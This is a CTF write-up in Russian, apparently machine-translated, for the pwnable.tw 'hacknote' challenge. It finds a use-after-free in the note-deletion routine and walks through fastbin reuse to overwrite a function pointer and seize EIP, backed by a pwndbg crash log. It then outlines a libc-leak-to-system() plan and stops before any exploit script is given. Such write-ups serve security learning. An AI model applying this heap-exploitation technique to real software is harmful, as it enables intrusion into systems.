Хороший хакер всегда должен делать хорошие заметки!
nc chall.pwnable.tw 10102

Окружающая обстановка

$ uname -a
Linux base-debootstrap 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Проверить бинарную безопасность

pwndbg> checksec
[*] '/home/vagrant/work/pwnabletw/hacknote/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Результаты

Сначала я декомпилировал некоторые функции с помощью Ghidra.

Основная рутина.

Функция добавления примечания

  • malloc вызывается блоками по 8 байт (данный блок управляется fastbins)

УдалитьПримечание

  • Вызывает free(), но не сохраняет нулевой указатель (может быть, можно использовать Use After Free)

ПечатьПримечание

  • Выполнить значение, полученное из кучи, как функцию.
  • В функции printNote функция вызывается из указателя отображаемой заметки + 4-байтовое значение.
  • Функция, вызываемая здесь, является указателем функции «0x804862b», добавленным функцией AddNote.
  • Декомпилировано 0x804862b

Управление заметками

В hacknote заметки управляются следующим образом.

struct Note {
    void (putsNoteFn*)(int NotePointer); // offset + 0x0
    char *NoteContent; // offset + 0x4
}
void *NoteList;

Каждая заметка связывается с NotesList после выделения памяти с помощью malloc(8).

Ошибка

Использовать после бесплатного

Функция DeleteNote не сохраняет нулевой указатель после free(), поэтому в ней есть ошибка Use After Free.
Шаги для воспроизведения:

  1. Добавить заметку. Вход: 1->4->ААА
  2. Добавить заметку. Ввод: 1->4->BBB
  3. Удалить примечание. Ввод: 2->0
  4. Добавить заметку. Вход: 1->4->CCC
  5. Распечатать заметку. Ввод: 3->0

«CCC» отображается, несмотря на то, что значение 0-го индекса должно было быть удалено.
Это связано с тем, что ссылка на кучу все еще существует после удаления индекса 0 на шаге 3, а значение в куче перезаписывается на шаге 4 позже.

Управление EIP с помощью UAF

  1. Добавить заметку
NoteList <- malloc(8)
NoteList[0]
Note {
  *putsFn_p()
  *content
}

2. Сохранить указатель функции

NoteList[0]
Note { // offset +0x0
  putsFn_p() = 0x804862b // offset +0x0
  content // offset + 0x4
}

3. Установите длину содержимого на 0x10 байт.

NoteList[0]
Note { // offset + 0x0
  putsFn_p() = 0x804862b // offset + 0x0
  content = malloc(0x10) // offset + 0x4
}

4. Добавьте еще одну заметку 0x10 байт

NoteList[0]
Note { // offset + 0x0
  putsFn_p() = 0x804862b // offset + 0x0
  content = malloc(0x10) // offset + 0x4
}
NoteList[1]
Note { // offset + 0x0
  putsFn_p() = 0x804862b // offset + 0x0
  content = malloc(0x10) // offset + 0x4
}

5. Удалить список заметок[0]

NoteList[0]
Note { // offset + 0x0
  fastbins[0][0] // offset + 0x0
  fastbins[1][0] // offset + 0x4
}
NoteList[1]
Note { // offset + 0x0
  putsFn_p() = 0x804862b // offset + 0x0
  content = malloc(0x10) // offset + 0x4
}

6. Удалить список заметок[1]

NoteList[0]
Note { // offset + 0x0
  fastbins[0][0] // offset + 0x0
  fastbins[1][0] // offset + 0x4
}
NoteList[1]
Note { // offset + 0x0
  fastbins[0][1] // offset + 0x0
  fastbins[1][1] // offset + 0x4
}

7. Команда добавления заметки: 1 -> 8 -> CCCCDDD

NoteList[0]
Note { // offset + 0x0
  fastbins[0][0] // offset + 0x0
  fastbins[1][0] // offset + 0x4
}
NoteList[1]
Note { // offset + 0x0
  fastbins[0][1] // offset + 0x0
  fastbins[1][1] // offset + 0x4
}
NoteList[2]
Note { // offset + 0x0
  putsFn_p() = 0x804862b // offset + 0x0
  content = malloc(0x8) = reallocated fastbins[0][0] <= "CCCCDDD" // offset + 0x4
}

8. Состояние

NoteList[0]
Note { // offset + 0x0
  0x43434343("CCCC") // offset + 0x0
  fastbins[1][0] // offset + 0x4
}
NoteList[1]
Note { // offset + 0x0
  fastbins[0][1] // offset + 0x0
  fastbins[1][1] // offset + 0x4
}
NoteList[2]
Note { // offset + 0x0
  putsFn_p() = 0x804862b // offset + 0x0
  content = malloc(0x8) = reallocated fastbins[0][0] <= "CCCCDDD" // offset + 0x4
}

9. Выполнить PrintNote: 3-›0

NoteList[0]
Note { // offset + 0x0
  0x43434343("CCCC") // offset + 0x0
  fastbins[1][0] // offset + 0x4
}
call => 0x43434343 // Crash!!

Демо

Установите для EIP значение 0x43434343.
Шаги для воспроизведения:

  1. 1-›16-›АААА
  2. 1-›16-›BBBB
  3. 2->0
  4. 2->1
  5. 1-›8-›CCCDDDD
  6. 3->0
pwndbg> r
Starting program: /home/vagrant/work/pwnabletw/hacknote/hacknote
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :16
Content :AAAA
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :16
Content :BBBB
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :2
Index :0
Success
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :2
Index :1
Success
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :8
Content :CCCCDDD
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :3
Index :0
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────────────────────────
*EAX  0x43434343 ('CCCC')
 EBX  0x0
 ECX  0x0
*EDX  0x804b008 ◂— 'CCCCDDD\n'
*EDI  0xf7fca000 ◂— 0x1b1db0
*ESI  0xf7fca000 ◂— 0x1b1db0
*EBP  0xffffd618 —▸ 0xffffd638 ◂— 0x0
*ESP  0xffffd5ec —▸ 0x804893f ◂— add    esp, 0x10
*EIP  0x43434343 ('CCCC')
─────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────
Invalid address 0x43434343
──────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd5ec —▸ 0x804893f ◂— add    esp, 0x10
01:0004│      0xffffd5f0 —▸ 0x804b008 ◂— 'CCCCDDD\n'
02:0008│      0xffffd5f4 —▸ 0xffffd608 ◂— 0xa30 /* '0\n' */
03:000c│      0xffffd5f8 ◂— 0x4
... ↓
05:0014│      0xffffd600 —▸ 0xffffd628 —▸ 0xffff0a33 ◂— 0x0
06:0018│      0xffffd604 ◂— 0x0
07:001c│      0xffffd608 ◂— 0xa30 /* '0\n' */
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► f 0 43434343
   f 1  804893f
   f 2  8048a8a
   f 3 f7e30637 __libc_start_main+247
Program received signal SIGSEGV (fault address 0x43434343)

Эксплойт

Получаем управление EIP.
Далее запускаем эксплойт.

План:

  1. puts() адрес функции read@GOT
  2. Утечка базового адреса libc путем вычитания смещения адреса функции read@GOT
  3. Вычислить базовый адрес libc + system()
  4. Отправить системный () адрес
  5. Выполнить систему()

Если возможна утечка адреса libc, проблем нет, даже если это не функция read@GOT.

Смещение функции.

$ nm -D libc_32.so.6 | grep system
- snip -
0003a940 W system
$ nm -D ./libc_32.so.6 | grep read
- snip -
000d41c0 W read
- snip -

Записать